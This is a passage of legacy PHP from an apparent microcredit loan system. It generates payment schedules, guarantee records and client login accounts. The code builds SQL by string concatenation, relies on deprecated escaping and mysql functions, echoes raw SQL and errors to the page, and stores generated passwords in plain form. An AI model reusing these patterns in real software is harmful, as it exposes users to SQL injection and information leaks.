$x_num_pagos);\t\t\r\n\t\t$x_total_venc = $x_total_venc + $x_interes_venc;\r\n\t}\r\n*/\r\n\t\r\n\t\r\n/*\r\n\tif($x_saldo_intereses > 0){\r\n\t\t$x_total_venc = ($x_total_venc + (($x_saldo_intereses + $x_iva_gracia) / $x_venc_num_cac)); \r\n\t}\r\n*/\r\n\t//genera vencimientos saldos insolutos\r\n\t\r\n\t\r\n\t//$temptime = strtotime(ConvertDateToMysqlFormat($x_fecha_abonocap));\t\testa fecha viene vacia por eso nos da el error. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n\t$temptime = strtotime(ConvertDateToMysqlFormat(ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"])));\t\r\n\t$x_fecha_dd = ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]);\r\n\t$x_saldo = $x_importe;\r\n\tif($x_venc_num_sac > 0){\r\n\t\t$x_venc_num = $x_venc_num_sac + 1;\r\n\t}else{\r\n\t\t$x_venc_num = 1;\r\n\t}\r\n\t$x_pago_act = 1;\r\n\t$x_capital_ajuste = 0;\r\n\twhile($x_pago_act < $x_venc_num_cac + 1){\r\n\t\t$x_interes_pp = 0;\r\n\r\n\t\tif ($GLOBALS[\"x_forma_pago_id\"] == 3){\r\n\t\t\t// si la forma de pago es mensuial entonces en lugar de agragra 28 dias que es valor contemplado en la base de datos se agrega un mes completo\r\n\t\t\t// si la fecha de pago es 29,30 ó 31 entonces se tomara como fecha de pago el ultimo dia de mes \t\t\t\r\n\t\t\t// temptime trae la fecha de otorgamiento a esta fecha le sacamos el dia\r\n\t\t\t\r\n\t\t\t$sqlDiaMes = \"SELECT DAYOFMONTH('$x_fecha_dd') as dia_mes \";\r\n\t\t\t$rsDiaMes = phpmkr_query($sqlDiaMes, $conn) or die (\"error al seleccionar el dia del mes\". phpmkr_error().\"sql:\".$sqlDiaMes);\r\n\t\t\t$rowDiaMes = phpmkr_fetch_array($rsDiaMes);\r\n\t\t\techo \"sql\".$sqlDiaMes.\"<br>\";\r\n\t\t\t$x_dia_de_mes = $rowDiaMes[\"dia_mes\"];\t\r\n\t\t\techo \"dia de mes\".$x_dia_de_mes.\"<br>\";\t\t\r\n\t\t\tif($x_dia_de_mes == 28 || $x_dia_de_mes == 29 || $x_dia_de_mes == 30 || $x_dia_de_mes == 31 ){\r\n\t\t\t\t// la fecha del siguiente vencimiento se pasa para el ultimo dia del mes\t\t\t\r\n\t\t\t\t$x_dias_faltantes = ultimoDiaMes($x_fecha_dd);\r\n\t\t\t\techo \"dias faltantes\".$x_dias_faltantes.\"<br>\";\r\n\t\t\t\t$fecha_act = DateAdd('w',$x_dias_faltantes,$temptime);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t}else{\t\t\t\r\n\t\t\t\t\t$fecha_act = DateAdd('m',1,$temptime);\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}else{\r\n\t\t$fecha_act = DateAdd('w',$x_forma_pago,$temptime);\r\n\t\t\t}\r\n\t\t$fecha_act = strftime('%Y-%m-%d',$fecha_act);\t\r\n\t\t$x_fecha_dd = \t$fecha_act;\t\r\n\t\t$temptime = strftime('%Y-%m-%d',$temptime);\t\t\t\t\t\r\n\t\t\r\n\t\t$difference = strtotime($fecha_act) - strtotime($temptime); // Difference in seconds\r\n\t\t$x_dias_total = floor($difference / 86400);\r\n\r\n\r\n\t\t//calcular interes con tasa diaria\r\n\t\t$x_interes_pp = round(($x_saldo * (($GLOBALS[\"x_tasa\"]/360)/100)) * $x_dias_total);\r\n\t\t\r\n\t\t//calcular interes con tasa caluclada segun forma de pago\r\n\t\t$x_interes_pp = round($x_saldo * $x_tasa_calculada);\t\t\r\n\r\n\t\t//sumar saldo de interes gracia\r\n\t\t/*\r\n\t\tif($x_pago_act == 1 && $x_saldo_intereses > 0){\r\n\t\t\t$x_interes_pp = $x_interes_pp + $x_saldo_intereses;\r\n\t\t\t$x_saldo_intereses = 0;\r\n\t\t}\r\n\t\t*/\r\n\t\tif($GLOBALS[\"x_iva\"] == 1){\r\n\t\t\t$x_iva_pp = round($x_interes_pp * .16);\t\r\n\t\t}else{\r\n\t\t\t$x_iva_pp = 0;\r\n\t\t}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n\t\t$x_interes_pp = $x_interes_pp + $x_saldo_intereses;\r\n\t\t\r\n\t\tif((($x_interes_pp + $x_iva_pp) < $x_total_venc) || (($x_interes_pp + $x_iva_pp) == $x_total_venc)){\r\n\t\t\t$x_capital_pp = $x_total_venc - $x_interes_pp - $x_iva_pp;\r\n\t\t\t$x_saldo_intereses = 0;\r\n\t\t}else{\r\n\t\t\t$x_capital_pp = 0;\r\n\t\t\t$x_saldo_intereses = $x_interes_pp - ($x_total_venc + $x_iva_pp);\r\n\t\t\t$x_interes_pp = ($x_total_venc - $x_iva_pp);\r\n\t\t}\r\n\r\n*/\r\n\r\n\t\t$x_capital_pp = $x_total_venc - $x_interes_pp - $x_iva_pp;\r\n\t\t$x_saldo_intereses = 0;\r\n\r\n\r\n\r\n\r\n//ajuste de ultimo vencimiento\r\n\t\t$x_capital_ajuste = $x_capital_ajuste + $x_capital_pp;\r\n\t\tif($x_pago_act == $x_venc_num_cac){\r\n\t\t\t\r\n\t\t\tif($x_capital_ajuste < $x_importe){\r\n\t\t\t\t$x_ajuste = $x_importe - $x_capital_ajuste;\r\n\t\t\t\t$x_capital_pp = $x_capital_pp + $x_ajuste;\r\n\t\t\t\t$x_interes_pp = $x_interes_pp - $x_ajuste;\r\n\t\t\t}\r\n\r\n\t\t\tif($x_capital_ajuste > $x_importe){\r\n\t\t\t\t$x_ajuste = $x_capital_ajuste - $x_importe;\r\n\t\t\t\t$x_capital_pp = $x_capital_pp - $x_ajuste;\r\n\t\t\t\t$x_interes_pp = $x_interes_pp + $x_ajuste;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\r\n\r\n\r\n\t\t$sSql = \"insert into vencimiento values(0,$x_credito_id, $x_venc_num,1, '$fecha_act', $x_capital_pp, $x_interes_pp, 0, $x_iva_pp, 0, $x_total_venc,NULL)\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\t\r\n\t\t$temptime = strtotime($fecha_act);\r\n\t\t$x_saldo = $x_saldo - $x_capital_pp;\t\r\n\t\t$x_venc_num++;\t\r\n\t\t$x_pago_act++;\t\r\n\t}\t\t\r\n\r\n\t//$fecha_act = strftime('%Y-%m-%d',$fecha_act);\r\n\r\n///////////////// fin calculo no promediado\r\n\r\n\r\n}\r\n\r\n\r\nif($GLOBALS[\"x_garantia_liquida\"] == 1){\r\n\t// si hay garantia liquida se inserta en la tabla\r\n\t// se cambia le calculo ahora la garantia liquida cambia el monto\r\n\t//forma de pago\r\n\t#1 = semanal \r\n\t#2 = catorcenal\r\n\t#3 = mensual\r\n\t# 4 = quincenal\r\n\t\r\n\t// siel credito se torga semana y en 40 pagos la garantia liquida correspondera a 3 pagos\r\n\t// si es quincenal o catorcenal en 24 pagos las garantia liquida correspondera a 2 pagos\r\n\tif (($GLOBALS[\"x_forma_pago_id\"] == 1) && ($GLOBALS[\"x_num_pagos\"] == 40)){\r\n\t\t#garantia liquida = 3 pagos\r\n\t\t$x_total_venc_doble = $x_total_venc * 3;\r\n\t\t\r\n\t\t$sqlIGL = \"INSERT INTO garantia_liquida (`garantia_liquida_id`, `credito_id`, `monto`, `status`, `fecha`, `fecha_modificacion`) VALUES (NULL, $x_credito_id, $x_total_venc_doble, '7', \\\"\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"\\\", NULL);\";\t\r\n\t\t\r\n\t\techo $sqlIGL.\"<br>\";\r\n\t\t\r\n\t\t} else \tif((($GLOBALS[\"x_forma_pago_id\"] == 2) || ($GLOBALS[\"x_forma_pago_id\"] == 4))&& ($GLOBALS[\"x_num_pagos\"] == 24)){\r\n\t\t$x_total_venc_doble = $x_total_venc * 2;\r\n\t\t$sqlIGL = \"INSERT INTO garantia_liquida (`garantia_liquida_id`, `credito_id`, `monto`, `status`, `fecha`, `fecha_modificacion`) VALUES (NULL, $x_credito_id, $x_total_venc_doble, '7', \\\"\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"\\\", NULL);\";\t\r\n\t\t\r\n\t\t}else if($GLOBALS[\"x_forma_pago_id\"] == 1){\r\n\t\t$x_total_venc_doble = $x_total_venc * 2;\r\n\t\t\t$sqlIGL = \"INSERT INTO garantia_liquida (`garantia_liquida_id`, `credito_id`, `monto`, `status`, `fecha`, `fecha_modificacion`) VALUES (NULL, $x_credito_id, $x_total_venc_doble, '7', \\\"\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"\\\", NULL);\";\t\t\r\n\t\t}else{\t\r\n\t$sqlIGL = \"INSERT INTO garantia_liquida (`garantia_liquida_id`, `credito_id`, `monto`, `status`, `fecha`, `fecha_modificacion`) VALUES (NULL, $x_credito_id, $x_total_venc, '7', \\\"\".ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]).\"\\\", NULL);\";\r\n\t\t}\r\n\t$rsIGL = phpmkr_query($sqlIGL, $conn) or die (\"Error al insertar en garantia liquida\".phpmkr_error().\"sql\".$sqlIGL);\t\r\n\t}\r\n\r\n\r\n\t$sSql = \"update credito set fecha_vencimiento = '$fecha_act' where credito_id = $x_credito_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\t$sSql = \"update solicitud set solicitud_status_id = 6 where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n\t$sSqlv = \"SELECT * FROM vencimiento WHERE credito_id = $x_credito_id \";\r\n\t$rsv = phpmkr_query($sSqlv, $conn) or die(\"error al seleccionar los vencimeinto del credito\". phpmkr_error().\"sql:\");\r\n\twhile($rowv = phpmkr_fetch_array($rsv)){\r\n\t\t//seleccionamos todos los campos del vencimiento, y los copiamos a la tabla de respaldo.\r\n\t\t$x_vencimiento_id = $rowv[\"vencimiento_id\"];\r\n\t\t$x_vencimiento_num = $rowv[\"vencimiento_num\"];\t\t\r\n\t\t$x_credito_id = $rowv[\"credito_id\"];\r\n\t\t$x_vencimiento_status_id = $rowv[\"vencimiento_status_id\"];\t\t\r\n\t\t$x_fecha_vencimiento = $rowv[\"fecha_vencimiento\"]; //5\r\n\t\t$x_importe = $rowv[\"importe\"];\r\n\t\t$x_interes = $rowv[\"interes\"];\r\n\t\t$x_iva = $rowv[\"iva\"];\t\t\r\n\t\t$x_iva_mor = $rowv[\"iva_mor\"];\t\r\n\t\t$x_fecha_remanente = $rowv[\"fecha_genera_remanente\"];//10\r\n\t\t$x_interes_moratorio = $rowv[\"interes_moratorio\"];\r\n\t\t$x_total_venc = $rowv[\"total_venc\"];\r\n\t\t\r\n\t\t\r\n\t\t#insertamos el registro de cada vencimiento en la tabla de respaldo vencimiento.\r\n\t\t\r\n\t\t#$sqlI =\"INSERT INTO vencimiento_respaldo values() \";\r\n\t\t$sqlI = \"insert into vencimiento_respaldo values(0,$x_credito_id, $x_vencimiento_num,1, '$x_fecha_vencimiento', $x_importe, $x_interes, 0, $x_iva, 0, $x_total_venc,NULL)\";\r\n\t\t$x_result = phpmkr_query($sqlI, $conn) or die(\"No se respaldo el vencimineto\". phpmkr_error().\"sql :\".$sqlI);\r\n\t\t\r\n\t\t\r\n\t\t}// fin while vencimientos\r\n\r\n//credito_tipo_id\r\n\r\n\r\n\t$sSql = \"SELECT credito_tipo_id FROM solicitud where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_credito_tipo_id = $row[\"credito_tipo_id\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\nif($x_credito_tipo_id != 2){\r\n\r\n\t$sSql = \"SELECT cliente_id FROM solicitud_cliente where solicitud_id = \".$GLOBALS[\"x_solicitud_id\"];\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_cliente_id = $row[\"cliente_id\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\t$sSql = \"update cliente set cliente_num = '\".$GLOBALS[\"x_cliente_num\"].\"' where cliente_id = $x_cliente_id \";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\texit();\r\n\t}\r\n\r\n\r\n#die();\r\n//USUARIO Y PASSWORD\r\n\tinclude(\"utilerias/gen_pass_ec.php\");\r\n\r\n\t$x_asignada = 0;\r\n\twhile($x_asignada == 0){\r\n\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t$sSql = \"Select * from usuario where usuario = '$clave'\";\r\n\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t$x_usuario = $clave;\r\n\t\t\t$x_asignada = 10;\r\n\t\t}\r\n\t\tphpmkr_free_result($rs2);\r\n\t}\r\n\r\n\t$x_asignada = 0;\r\n\twhile($x_asignada == 0){\r\n\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t$sSql = \"Select * from usuario where clave = '$clave'\";\r\n\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t/*\t\t\r\n\t\t\t$sSql = \"update socios set clave = '$clave' where socio_id = $x_socio_id\";\r\n\t\t\tphpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t*/\r\n\t\t\t$x_clave = $clave;\r\n\t\t\t$x_asignada = 10;\r\n\t\t}\r\n\t\tphpmkr_free_result($rs2);\r\n\t}\r\n\r\n\t$sSql = \"SELECT * FROM cliente where cliente_id = $x_cliente_id\";\r\n\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t$row = phpmkr_fetch_array($rs);\r\n\t$x_nombre = $row[\"nombre_completo\"].\" \". $row[\"apellido_paterno\"].\" \".$row[\"apellido_materno\"];\r\n\t$x_email = $row[\"email\"];\r\n\tphpmkr_free_result($rs);\t\t\r\n\r\n\r\n\t$fieldList = NULL;\r\n\t// Field usuario_rol_id\r\n\t$fieldList[\"`usuario_rol_id`\"] = 8;\r\n\r\n\t// Field usuario_status_id\r\n\t$fieldList[\"`usuario_status_id`\"] = 1;\r\n\r\n\t// Field usuario\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_usuario) : $x_usuario; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`usuario`\"] = $theValue;\r\n\r\n\t// Field clave\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_clave) : $x_clave; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`clave`\"] = $theValue;\r\n\r\n\t// Field nombre\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_nombre) : $x_nombre; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`nombre`\"] = $theValue;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\r\n\t// Field fecha_caduca\r\n\t$theValue = ($GLOBALS[\"x_fecha_caduca\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_caduca\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_caduca`\"] = $theValue;\r\n\r\n\t// Field fecha_visita\r\n\t$theValue = ($GLOBALS[\"x_fecha_visita\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_visita\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_visita`\"] = $theValue;\r\n\r\n\t// Field visitas\r\n\t$theValue = ($GLOBALS[\"x_visitas\"] != \"\") ? intval($GLOBALS[\"x_visitas\"]) : \"0\";\r\n\t$fieldList[\"`visitas`\"] = $theValue;\r\n\r\n\t// Field email\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_email) : $x_email; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`email`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `usuario` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t\r\n\t$x_usuario_id = mysql_insert_id();\r\n\r\n\t$sSql = \"update cliente set usuario_id = $x_usuario_id where cliente_id = $x_cliente_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n}else{\r\n\r\ninclude(\"utilerias/gen_pass_ec.php\");\r\n\r\n\t\t\t\t\r\n\r\n\r\n\t// seleccionamos el grupo_ID\r\n\t$sqlGrupo = \"SELECT grupo_id FROM solicitud_grupo WHERE solicitud_id = \".$GLOBALS[\"x_solicitud_id\"].\"\";\r\n\t$responseGid = phpmkr_query($sqlGrupo, $conn) or die(\"Error al seleccionar grupo id\".phpmkr_error().\"sql:\".$sqlGrupo);\r\n\t$rowgid = phpmkr_fetch_array($responseGid);\r\n\t$x_grupo_id = $rowgid[\"grupo_id\"];\r\n\t\r\n\tif(!empty($x_grupo_id)){\r\n\t\t\r\n\t\t\r\n\t\t//seleccionamos los id de los clientes que pertenecen a ese grupo\r\n\t\t$sqlClientes = \"SELECT * FROM creditosolidario WHERE creditoSolidario_id = $x_grupo_id \";\r\n\t\t$resposeClientes = phpmkr_query($sqlClientes, $conn) or die(\"Error a seleccionar los clientes del grupo\".phpmkr_error().\"sql:\".$sqlClientes);\r\n\t\t$rowClientes = phpmkr_fetch_array($resposeClientes);\r\n\t\t\t$GLOBALS[\"x_creditoSolidario_id\"] = $rowClientes[\"creditoSolidario_id\"];\r\n\t\t\t$GLOBALS[\"x_nombre_grupo\"] = $rowClientes[\"nombre_grupo\"];\r\n\t\t\t echo \"seleccionamos los id de los clintes\";\r\n\t\t\t$x_cont_g = 1;\r\n\t\t\twhile($x_cont_g <= 10){\r\n\t\t\t\t\r\n\t\t\t\t$GLOBALS[\"x_integrante_$x_cont_g\"] = $rowClientes[\"integrante_$x_cont_g\"];\r\n\t\t\t\t$GLOBALS[\"x_cliente_id_$x_cont_g\"] = $rowClientes[\"cliente_id_$x_cont_g\"];\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t// mientras hay integrantes, si no esta vacio el id y es numerico, se le asigna un numero de usuario.\r\n\t\t\t\tif ( !empty($GLOBALS[\"x_cliente_id_$x_cont_g\"]) && ($GLOBALS[\"x_cliente_id_$x_cont_g\"] != \"\") && intval($GLOBALS[\"x_cliente_id_$x_cont_g\"])){\r\n\t\t\t\t\techo \"entramos la while con el id \".$GLOBALS[\"x_cliente_id_$x_cont_g\"].\"<br>\";\r\n\t\t\t\t\t// seleccionamos el ultimo numero de cliente asignado y le agregamos 1\t\t\t\t\t \r\n\t\t\t\t\t\t\t$sSqlWrkn = \"SELECT max(cliente_num+0) as cliente_num_new FROM cliente \";\r\n\t\t\t\t\t\t\t$rswrkn = phpmkr_query($sSqlWrkn,$conn) or die(\"Failed to execute query\" . phpmkr_error() . ' SQL:' . $sSqlWrkn);\r\n\t\t\t\t\t\t\t$datawrkn = phpmkr_fetch_array($rswrkn);\r\n\t\t\t\t\t\t\t$x_cliente_num = $datawrkn[\"cliente_num_new\"] + 1;\r\n\t\t\t\t\t\t\t@phpmkr_free_result($rswrkn);\r\n\t\t\t\t\t \r\n\t \t\t\t\t// actualizamos el numero de cliente\t\t\t\t\t\r\n\t\t\t\t\t\t\t$sSql = \"UPDATE cliente SET cliente_num = $x_cliente_num WHERE cliente_id = \". $GLOBALS[\"x_cliente_id_$x_cont_g\"].\"\";\r\n\t\t\t\t\t\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\t\t\t\t\tif(!$x_result){\r\n\t\t\t\t\t\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\t\t\t\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\t\t\t\t\t\texit();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\techo \"numero de cliente = \" .$x_cliente_num.\"<br>\";\r\n\t\t\t\t\t\r\n\t\t\t\t\t//USUARIO Y PASSWORD\r\n\t\t\t\t\t$x_asignada = 0;\r\n\t\t\t\t\twhile($x_asignada == 0){\r\n\t\t\t\t\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t\t\t\t\t$sSql = \"Select * from usuario where usuario = '$clave'\";\r\n\t\t\t\t\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t\t\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t\t\t\t\t$x_usuario = $clave;\r\n\t\t\t\t\t\t\t$x_asignada = 10;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tphpmkr_free_result($rs2);\r\n\t\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\t$x_asignada = 0;\r\n\t\t\t\t\twhile($x_asignada == 0){\r\n\t\t\t\t\t\t$clave = generate(8, \"No\", \"Yes\", \"Yes\");\r\n\t\t\t\t\t\t$sSql = \"Select * from usuario where clave = '$clave'\";\r\n\t\t\t\t\t\t$rs2 = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t\t\t\tif (phpmkr_num_rows($rs2) == 0) {\t\r\n\t\t\t\t\t\t\t/*\t\t\r\n\t\t\t\t\t\t\t$sSql = \"update socios set clave = '$clave' where socio_id = $x_socio_id\";\r\n\t\t\t\t\t\t\tphpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t\t\t\t\t*/\r\n\t\t\t\t\t\t\t$x_clave = $clave;\r\n\t\t\t\t\t\t\t$x_asignada = 10;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tphpmkr_free_result($rs2);\r\n\t\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\t$sSql = \"SELECT * FROM cliente where cliente_id =\".$GLOBALS[\"x_cliente_id_$x_cont_g\"]. \"\";\r\n\t\t\t\t\t$rs = phpmkr_query($sSql,$conn) or die(\"Failed to execute query: \" . phpmkr_error() . '<br>SQL: ' . $sSql);\r\n\t\t\t\t\t$row = phpmkr_fetch_array($rs);\r\n\t\t\t\t\t$x_nombre = $row[\"nombre_completo\"].\" \". $row[\"apellido_paterno\"].\" \".$row[\"apellido_materno\"];\r\n\t\t\t\t\t$x_email = $row[\"email\"];\r\n\t\t\t\t\tphpmkr_free_result($rs);\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t$fieldList = NULL;\r\n\t\t\t\t\t// Field usuario_rol_id\r\n\t\t\t\t\t$fieldList[\"`usuario_rol_id`\"] = 8;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field usuario_status_id\r\n\t\t\t\t\t$fieldList[\"`usuario_status_id`\"] = 1;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field usuario\r\n\t\t\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_usuario) : $x_usuario; \r\n\t\t\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t\t\t$fieldList[\"`usuario`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field clave\r\n\t\t\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_clave) : $x_clave; \r\n\t\t\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t\t\t$fieldList[\"`clave`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field nombre\r\n\t\t\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_nombre) : $x_nombre; \r\n\t\t\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t\t\t$fieldList[\"`nombre`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field fecha_registro\r\n\t\t\t\t\t$theValue = ($GLOBALS[\"x_fecha_otrogamiento\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_otrogamiento\"]) . \"'\" : \"Null\";\r\n\t\t\t\t\t$fieldList[\"`fecha_registro`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field fecha_caduca\r\n\t\t\t\t\t$theValue = ($GLOBALS[\"x_fecha_caduca\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_caduca\"]) . \"'\" : \"Null\";\r\n\t\t\t\t\t$fieldList[\"`fecha_caduca`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field fecha_visita\r\n\t\t\t\t\t$theValue = ($GLOBALS[\"x_fecha_visita\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_visita\"]) . \"'\" : \"Null\";\r\n\t\t\t\t\t$fieldList[\"`fecha_visita`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field visitas\r\n\t\t\t\t\t$theValue = ($GLOBALS[\"x_visitas\"] != \"\") ? intval($GLOBALS[\"x_visitas\"]) : \"0\";\r\n\t\t\t\t\t$fieldList[\"`visitas`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// Field email\r\n\t\t\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($x_email) : $x_email; \r\n\t\t\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t\t\t$fieldList[\"`email`\"] = $theValue;\r\n\t\t\t\t\r\n\t\t\t\t\t// insert into database\r\n\t\t\t\t\t$sSql = \"INSERT INTO `usuario` (\";\r\n\t\t\t\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t\t\t\t$sSql .= \") VALUES (\";\r\n\t\t\t\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t\t\t\t$sSql .= \")\";\r\n\t\t\t\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\t\t\tif(!$x_result){\r\n\t\t\t\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\t\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\t\t\t\texit();\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t$x_usuario_id = mysql_insert_id();\r\n\t\t\t\t\r\n\t\t\t\t\t$sSql = \"update cliente set usuario_id = $x_usuario_id where cliente_id = \". $GLOBALS[\"x_cliente_id_$x_cont_g\"] .\" \";\r\n\t\t\t\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\t\t\tif(!$x_result){\r\n\t\t\t\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\t\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\t\t\t\texit();\r\n\t\t\t\t\t}\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t}// if vacio! , numerico\r\n\t\t\t\t$x_cont_g++;\r\n\t\t\t\t}// while 